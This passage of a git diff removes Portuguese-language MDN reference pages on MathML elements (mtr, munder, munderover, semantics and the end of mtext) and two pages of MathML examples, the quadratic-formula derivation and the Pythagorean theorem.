- <li><code>looped</code> ; <math><mtext mathvariant="looped">مثال</mtext></math></li>
- <li><code>stretched</code> ; <math><mtext mathvariant="stretched">مثال</mtext></math></li>
- </ul>
- </dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-  &lt;mtext&gt; Theorem of Pythagoras &lt;/mtext&gt;
-
-  &lt;mtext&gt; /* comment here */ &lt;/mtext&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mtext', 'mtext') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mtext', 'mtext') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mtext")}}</p>
-
-<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
-
-<ul>
- <li>Alguns valores de <code>mathvariant</code> só estão implementados a partir de Gecko 28.0 (Firefox 28.0 / Thunderbird 28.0 / SeaMonkey 2.25) e requerem <a href="https://developer.mozilla.org/en-US/docs/Mozilla/MathML_Project/Fonts">fontes de matemática</a> apropriadas.</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/mtr/index.html b/files/pt-pt/web/mathml/element/mtr/index.html
deleted file mode 100644
index f36748642a..0000000000
--- a/files/pt-pt/web/mathml/element/mtr/index.html
+++ /dev/null
@@ -1,71 +0,0 @@
----
-title: <mtr>
-slug: Web/MathML/Element/mtr
-tags:
- - 'Math:Element'
- - MathML
- - 'MathML:Tabular Math'
- - Referência de MathML
-translation_of: Web/MathML/Element/mtr
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML, <code>&lt;mtr&gt;</code>, representa uma linha numa tabela ou matriz. Este elemento só pode aparecer no elemento {{ MathMLElement("mtable") }}. Este elemento é semelhante ao elemento {{ HTMLElement("tr") }} de <a href="/pt-PT/docs/HTML">HTML</a>.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="https://wiki.developer.mozilla.org/pt-PT/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-columnalign">columnalign</dt>
- <dd>Indica o alinhamento horizontal desta célula e sobrepõe o valor especificado por <code><a class="new" href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Element/mtable" rel="nofollow" title="&lt;mtable>">&lt;mtable&gt;</a></code>.<br>
- Os valores possíveis são: <code>left</code>, <code>center</code> e <code>right</code>.</dd>
- <dt>groupalign</dt>
- <dd>{{ unimplemented_inline() }}</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
- <dt id="attr-rowalign">rowalign</dt>
- <dd>Indica o alinhamento vertical desta célula e sobrepõe o valor especificado por <code><a class="new" href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/MathML/Element/mtable" rel="nofollow" title="&lt;mtable>">&lt;mtable&gt;</a></code>.<br>
- Os valores possíveis são: <code>axis</code>, <code>baseline</code>, <code>bottom</code>, <code>center</code> e <code>top</code>.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.mtr', 'mtr') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.mtr', 'mtr') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.mtr")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("mtable") }}</li>
- <li>{{ MathMLElement("mtd") }}</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/munder/index.html b/files/pt-pt/web/mathml/element/munder/index.html
deleted file mode 100644
index 477bbf4601..0000000000
--- a/files/pt-pt/web/mathml/element/munder/index.html
+++ /dev/null
@@ -1,91 +0,0 @@
----
-title: <munder>
-slug: Web/MathML/Element/munder
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Script and Limit Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/munder
----
-<div>{{MathMLRef}}</div>
-
-<p class="summary">O elemento de MathML <code>&lt;munder&gt;</code> é usado para adicionar um acento ou limite abaixo duma expressão. Usa a seguinte sintaxe: <code>&lt;munder&gt; <em>base underscript</em> &lt;/munder&gt;</code></p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-accentunder">accentunder</dt>
- <dd>Se <code>true</code>, o elemento é um acento, que então é desenhado mais perto da expressão base.<br>
- Se <code>false</code> (valor pré-definido), o elemento é um limite debaixo da expressão base.</dd>
- <dt id="attr-align">align {{deprecated_inline}}</dt>
- <dd>O alinhamento do <em>underscript</em>. Os valores possíveis são: <code>left</code>, <code>center</code>, and <code>right</code>.<br>
- Este atributo está obsoleto e será removido no futuro. Use antes o atributo de CSS <code><a href="/en-US/docs/Web/CSS/text-align">text-align</a></code>.</dd>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Exemplo: <img alt="x+y+z" src="/files/3197/munder.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math> <munder accentunder="true"> <mrow> <mi> x </mi> <mo> + </mo> <mi> y </mi> <mo> + </mo> <mi> z </mi> </mrow> <mo> ⏟ </mo> </munder> </math></p>
-
-<pre class="brush: html notranslate">&lt;math&gt;
-
-&lt;munder accentunder="true"&gt;
- &lt;mrow&gt;
- &lt;mi&gt; x &lt;/mi&gt;
- &lt;mo&gt; + &lt;/mo&gt;
- &lt;mi&gt; y &lt;/mi&gt;
- &lt;mo&gt; + &lt;/mo&gt;
- &lt;mi&gt; z &lt;/mi&gt;
- &lt;/mrow&gt;
- &lt;mo&gt; &amp;#x23DF; &lt;!--BOTTOM CURLY BRACKET--&gt; &lt;/mo&gt;
-&lt;/munder&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.munder', 'munder') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.munder', 'munder') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.munder")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("mover") }} (<em>Overscript</em>)</li>
- <li>{{ MathMLElement("munderover") }} (Par de <em>underscript-overscript</em>)</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/munderover/index.html b/files/pt-pt/web/mathml/element/munderover/index.html
deleted file mode 100644
index 5f217a2766..0000000000
--- a/files/pt-pt/web/mathml/element/munderover/index.html
+++ /dev/null
@@ -1,91 +0,0 @@
----
-title: <munderover>
-slug: Web/MathML/Element/munderover
-tags:
- - MathML
- - 'MathML:Element'
- - 'MathML:Script and Limit Schemata'
- - Referência de MathML
-translation_of: Web/MathML/Element/munderover
----
-<div>{{MathMLRef}}</div>
-
-<p><span class="seoSummary">O elemento de MathML <code>&lt;munderover&gt;</code> é usado para adicionar acentos ou limites acima e abaixo duma expressão.</span></p>
-
-<p>Usa a sintaxe seguinte: <code>&lt;munderover&gt; <em>base underscript overscript</em> &lt;/munderover&gt;</code></p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<dl>
- <dt id="attr-accent">accent</dt>
- <dd>Se <code>true</code>, o <em>overscript</em> é um acento, que então é desenhado mais perto da expressão base.<br>
- Se <code>false</code> (valor pré-definido), o <em>overscript</em> é um limite acima da expressão base.</dd>
- <dt id="attr-accentunder">accentunder</dt>
- <dd>Se <code>true</code>, o <em>underscript</em> é um acento, que então é desenhado mais perto da expressão base.<br>
- Se <code>false</code> (valor pré-definido), o <em>underscript</em> é um limite debaixo da expressão base.</dd>
- <dt id="attr-align">align {{deprecated_inline}}</dt>
- <dd>O alinhamento do <em>overscript</em> e <em>underscript</em>. Os valores possíveis são: <code>left</code>, <code>center</code>, and <code>right</code>.<br>
- Este atributo está obsoleto e será removido no futuro. Use antes o atributo de CSS <code><a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/text-align" rel="noopener">text-align</a></code>.</dd>
- <dt id="attr-class-id-style">class, id, style</dt>
- <dd>Para uso com <em><a href="/en-US/docs/CSS">stylesheets</a></em>.</dd>
- <dt id="attr-href">href</dt>
- <dd>Usado para criar uma hiperligação para um URI.</dd>
- <dt id="attr-mathbackground">mathbackground</dt>
- <dd>A cor de fundo. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores de HTML</a>.</dd>
- <dt id="attr-mathcolor">mathcolor</dt>
- <dd>A cor do texto. Pode usar <code>#rgb</code>, <code>#rrggbb</code> e <a class="external external-icon" href="https://wiki.developer.mozilla.org/en-US/docs/CSS/color_value#Color_Keywords" rel="noopener">nomes de cores HTML</a>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Exemplo: <img alt="integral-0-infinity" src="/files/3198/munderover.png" style="margin-left: 10px; vertical-align: middle;"></p>
-
-<p>Exemplo renderizado no seu navegador: <math displaystyle="true"> <munderover> <mo> ∫ </mo> <mn> 0 </mn> <mi> ∞ </mi> </munderover> </math></p>
-
-<pre class="brush: html notranslate">&lt;math displaystyle="true"&gt;
-
-  &lt;munderover &gt;
- &lt;mo&gt; &amp;#x222B; &lt;!--INTEGRAL--&gt; &lt;/mo&gt;
- &lt;mn&gt; 0 &lt;/mn&gt;
- &lt;mi&gt; &amp;#x221E; &lt;!--INFINITY--&gt; &lt;/mi&gt;
- &lt;/munderover&gt;
-
-&lt;/math&gt;
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Espicifcação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter3.html#presm.munderover', 'munderover') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter3.html#presm.munderover', 'munderover') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.munderover")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{ MathMLElement("munder") }} (<em>Underscript</em>)</li>
- <li>{{ MathMLElement("mover") }} (<em>Overscript</em>)</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/element/semantics/index.html b/files/pt-pt/web/mathml/element/semantics/index.html
deleted file mode 100644
index 49db97fb8e..0000000000
--- a/files/pt-pt/web/mathml/element/semantics/index.html
+++ /dev/null
@@ -1,127 +0,0 @@
----
-title: <semantics>
-slug: Web/MathML/Element/semantics
-tags:
- - MathML
- - 'MathML:Element'
- - Referência de MathML
-translation_of: Web/MathML/Element/semantics
----
-<div>{{MathMLRef}}</div>
-
-<div>
-<p>Em MathML há duas formas de marcar a matemática: A <em>Presentation MathML</em>  (MathML de apresentação) é utilizada para controlar a apresentação das equações, enquanto o <em>Content MathML</em> (MathML de conteúdo) foi concebida para codificar o significado matemático semântico e para tornar as expressões compreensíveis para os sistemas de álgebra computacionais. Os elementos MathML <code>&lt;semantics&gt;</code>, <code>&lt;annotation&gt;</code> e <code>&lt;annotation-xml&gt;</code> são utilizados para combinar a apresentação e a marcação do conteúdo e para fornecer ambas, a informação de disposição e o significado semântico das expressões matemáticas.</p>
-</div>
-
-<p>O elemento <code>&lt;semantics&gt;</code> atua como um elemento contentor que associa anotações e então deve ter elementos (senão levanta um erro de marcação inválido). O elemento <code>&lt;annotation&gt;</code> é o elemento contentor que contem informação semântica num formato não XML, enquanto o elemento <code>&lt;annotation-xml&gt;</code> contém conteúdo num formato XML, por exemplo, <em>Content MathML</em> ou <em>OpenMath</em>.</p>
-
-<p>As regras para determinar o elemento filho visível no elemento <code>&lt;semantics&gt;</code> são as seguintes:</p>
-
-<ul>
- <li>Se mais nenhuma regra se aplica: O primeiro elemento filho é apresentado por pré-definição, este é suposto ser notação de apresentação.</li>
- <li>Se o primeiro filho é um elemento MathML de apresentação que não é <code>&lt;annotation&gt;</code> nem <code>&lt;annotation-xml&gt;</code>, é apresentado o primeiro filho.</li>
- <li>Se não existem elementos MathML de apresentação, apresenta o primeiro elemento <code>&lt;annotation&gt;</code> ou <code>&lt;annotation-xml&gt;</code> que seja filho do <code>&lt;semantics&gt;</code>.<br>
- Atenção que elementos de <code>&lt;annotation-xml&gt;</code> só são reconhecidos se o atributo de codificação tem um dos seguintes valores:
- <ul>
- <li><code><span id="the-code"><span class="s">"application/mathml-presentation+xml</span></span></code>"</li>
- <li><code><span id="the-code"><span class="s">"MathML-Presentation</span></span></code>"</li>
- <li><span id="the-code"><span class="s"><code>"SVG1.1</code></span></span>"</li>
- <li><code>"text/html"</code></li>
- <li><code>"image/svg+xml"</code></li>
- <li><code><span class="st">"application/xml</span></code>".</li>
- </ul>
- Note que<span id="the-code"><span class="c"> <code>"application/mathml+xml</code></span></span><code>"</code> não é mencionado aqui, já que não distingue entre MathML de apresentação ou MathML de conteúdo.</li>
-</ul>
-
-<h2 id="Atributos">Atributos</h2>
-
-<p>Os seguintes atributos podem ser adicionados aos elementos <code>&lt;annotation&gt;</code> e <code>&lt;annotation-xml&gt;</code>:</p>
-
-<dl>
- <dt id="attr-definitionurl">definitionURL</dt>
- <dd>A localização do símbolo da chave da anotação.</dd>
- <dt id="attr-encoding">encoding</dt>
- <dd>A codificação da informação semântica na anotação (e.g. "<code>MathML-Content</code>", "<code>MathML-Presentation</code>", "<code>application/openmath+xml</code>", "<code>image/png</code>")</dd>
- <dt id="attr-cd">cd</dt>
- <dd>O dicionário que ontem o símbolo da chave da anotação.</dd>
- <dt id="attr-name">name</dt>
- <dd>O nome do símbolo da chave da anotação.</dd>
- <dt id="attr-src">src</dt>
- <dd>A localização de uma fonte externa de informação semântica.</dd>
-</dl>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: html notranslate">&lt;math&gt;
- &lt;semantics&gt;
-
- &lt;!-- Presentation MathML --&gt;
- &lt;mrow&gt;
- &lt;msup&gt;
- &lt;mi&gt;x&lt;/mi&gt;
- &lt;mn&gt;2&lt;/mn&gt;
- &lt;/msup&gt;
- &lt;mo&gt;+&lt;/mo&gt;
- &lt;mi&gt;y&lt;/mi&gt;
- &lt;/mrow&gt;
-
- &lt;!-- Content MathML --&gt;
- &lt;annotation-xml encoding="MathML-Content"&gt;
- &lt;apply&gt;
- &lt;plus/&gt;
- &lt;apply&gt;
- &lt;power/&gt;
- &lt;ci&gt;x&lt;/ci&gt;
- &lt;cn type="integer"&gt;2&lt;/cn&gt;
- &lt;/apply&gt;
- &lt;ci&gt;y&lt;/ci&gt;
- &lt;/apply&gt;
- &lt;/annotation-xml&gt;
-
- &lt;!-- anotar uma imagem --&gt;
- &lt;annotation encoding="image/png" src="some/path/formula.png"/&gt;
-
- &lt;!-- anotar TeX --&gt;
- &lt;annotation encoding="application/x-tex"&gt;
- x^{2} + y
- &lt;/annotation&gt;
-
- &lt;/semantics&gt;
-&lt;/math&gt;</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{ SpecName('MathML3', 'chapter5.html', 'Mixing Markup Languages for Mathematical Expressions') }}</td>
- <td>{{ Spec2('MathML3') }}</td>
- <td>Especificação atual</td>
- </tr>
- <tr>
- <td>{{ SpecName('MathML2', 'chapter5.html', 'Combining Presentation and Content Markup ') }}</td>
- <td>{{ Spec2('MathML2') }}</td>
- <td>Especificação inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("mathml.elements.semantics")}}</p>
-
-<h2 id="Notas_para_Gecko">Notas para Gecko</h2>
-
-<ul>
- <li>O algoritmo para determinar o elemento visível em <code>&lt;semantics&gt;</code> foi corrigido em {{geckoRelease("23")}} para ser conforme a especificação de MathML. Em versões anteriores o primeiro elemento era apresentado.</li>
- <li>No Gecko, os elementos <code>&lt;annotation&gt;</code> e <code>&lt;annotation-xml&gt;</code> são ignorados se têm o atributo <code>src</code>.</li>
-</ul>
diff --git a/files/pt-pt/web/mathml/examples/deriving_the_quadratic_formula/index.html b/files/pt-pt/web/mathml/examples/deriving_the_quadratic_formula/index.html
deleted file mode 100644
index 3d2348bd81..0000000000
--- a/files/pt-pt/web/mathml/examples/deriving_the_quadratic_formula/index.html
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: 'MathML: Derivar a Formula Resolvente'
-slug: Web/MathML/Examples/Deriving_the_Quadratic_Formula
-tags:
- - Beginner
- - Educação
- - Exemplo
- - Guía
- - HTML5
- - MathML
-translation_of: Web/MathML/Examples/Deriving_the_Quadratic_Formula
-original_slug: Web/MathML/Examples/Derivar_a_Formula_Resolvente
----
-<p><span class="seoSummary">Esta página descreve a derivação da Fórmula Resultante.</span></p>
-
-<p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow>Pegamos na equação quadrática na sua forma geral, resolvemos em busca de x:<mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace></mrow></mrow></mrow></mrow></mtd></mtr></mtable></math></p>
-
-<p><math><mtable columnalign="left"><mtr><mtd><mrow><mrow><mrow><mrow> <mi>a</mi> <mo>⁢</mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo>⁢</mo> <mi>x</mi> </mrow> <mo> + </mo> <mi>c</mi> </mrow> <mo>=</mo> <mn>0</mn> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mi>a</mi> <mo>⁢</mo> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mi>b</mi> <mo>⁢</mo> <mi>x</mi> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mrow> <mo>=</mo> <mo>-</mo><mi> c</mi><mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo>⁤</mo> <mi>x</mi> </mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>c</mi> </mrow> <mi>a</mi> </mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Dividir o coeficiente principal.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mi>x</mi> <mn>2</mn> </msup></mrow> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mi>a</mi> </mfrac> <mo>⁤</mo> <mi>x</mi> <mo> + </mo> <msup> <mfenced> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow> </mfrac> </mfenced> <mn>2</mn> </msup> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi>c</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow> <mrow> <mi>a</mi> <mo>(</mo> <mn>4</mn> <mi>a</mi> <mo>)</mo> </mrow></mfrac> </mrow> <mo> + </mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Completar o quadrado.</mtext> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">Encontrar o discriminante.</mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <msup> <mrow> <mo>(</mo> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>)</mo> </mrow> <mn>2</mn> </msup> <mo>=</mo> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> <mo> + </mo> <mfrac> <mrow> <mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mo>=</mo> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </msqrt> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo><mi>b</mi> </mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> <mo>±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <mfrac> <mrow> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </mrow> <mrow> <mn>4</mn> <msup> <mi>a</mi> <mn>2</mn> </msup> </mrow></mfrac> </msqrt> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace><mrow><mtext mathcolor="red" mathsize="10pt">A fórmula do vértice.</mtext> </mrow> </mrow> </mtd> </mtr> <mtr> <mtd> <mrow> <mrow> <mspace depth="1ex" height="0.5ex" width="2.5ex"></mspace> <mrow> <mi>x</mi> </mrow> <mo>=</mo> <mfrac> <mrow> <mo>-</mo> <mi> b</mi> <mo>±</mo><mrow><mo>{</mo><mi>C</mi><mo>}</mo></mrow> <msqrt> <msup> <mi>b</mi> <mn>2</mn> </msup> <mo> - </mo> <mn>4</mn> <mi>a</mi> <mi>c</mi> </msqrt></mrow> <mrow> <mn>2</mn> <mi>a</mi> </mrow></mfrac> </mrow> <mspace depth="1ex" height="0.5ex" width="2ex"></mspace> <mrow><mtext mathcolor="red" mathsize="10pt"></mtext> </mrow> </mrow> </mtd> </mtr> </mtable></math></p>
diff --git a/files/pt-pt/web/mathml/examples/index.html b/files/pt-pt/web/mathml/examples/index.html
deleted file mode 100644
index 8ae4c20e35..0000000000
--- a/files/pt-pt/web/mathml/examples/index.html
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: Exemplos
-slug: Web/MathML/Examples
-tags:
- - Beginner
- - Exemplo
- - Guía
- - MathML
-translation_of: Web/MathML/Examples
----
-<p>Abaixo encontrará alguns exemplos que poderá consultar para o ajudar a compreender como utilizar a MathML para exibir conceitos matemáticos cada vez mais complexos na <em>web</em>.</p>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/MathML/Examples/MathML_teorema_de_Pitagoras">Teorema de Pitágoras</a></dt>
- <dd>Pequeno exemplo mostrando a provar o teorema de Pitágoras.</dd>
- <dt><a href="/pt-PT/docs/Web/MathML/Examples/Derivar_a_Formula_Resolvente">Derivar a Fórmula Resolvente</a></dt>
- <dd>
- <p>Descreve a derivação da Fórmula Resultante.</p>
- </dd>
- <dt><a href="/en-US/docs/Mozilla/MathML_Project/MathML_Torture_Test">Teste de MathML</a></dt>
- <dd>Conjunto de exemplos a testar a notação de MathML.</dd>
-</dl>
diff --git a/files/pt-pt/web/mathml/examples/mathml_pythagorean_theorem/index.html b/files/pt-pt/web/mathml/examples/mathml_pythagorean_theorem/index.html
deleted file mode 100644
index 0c8342effb..0000000000
--- a/files/pt-pt/web/mathml/examples/mathml_pythagorean_theorem/index.html
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: Provar o teorema de Pitágoras
-slug: Web/MathML/Examples/MathML_Pythagorean_Theorem
-tags:
- - Beginner
- - Educação de matemática
- - Exemplo
- - Guía
- - Matemática HTML5
- - MathML
-translation_of: Web/MathML/Examples/MathML_Pythagorean_Theorem
-original_slug: Web/MathML/Examples/MathML_teorema_de_Pitagoras
----
-<p>Iremos provar o teorema de Pitágoras:</p>
-
-<p><strong>Declaração:</strong> Num triângulo retângulo, o quadrado da hipotenusa é igual à soma dos quadrados dos outros dois lados.</p>
-
-<p>Isto é, se <strong>a</strong> e <strong>b</strong> são os catetos, e <strong>c</strong> é a hipotenusa então<math><mrow><msup><mi>  a </mi><mn>2</mn></msup> <mo> + </mo> <msup><mi> b </mi><mn>2</mn></msup> <mo> = </mo> <msup><mi> c </mi><mn>2</mn></msup> </mrow> </math>.</p>
-
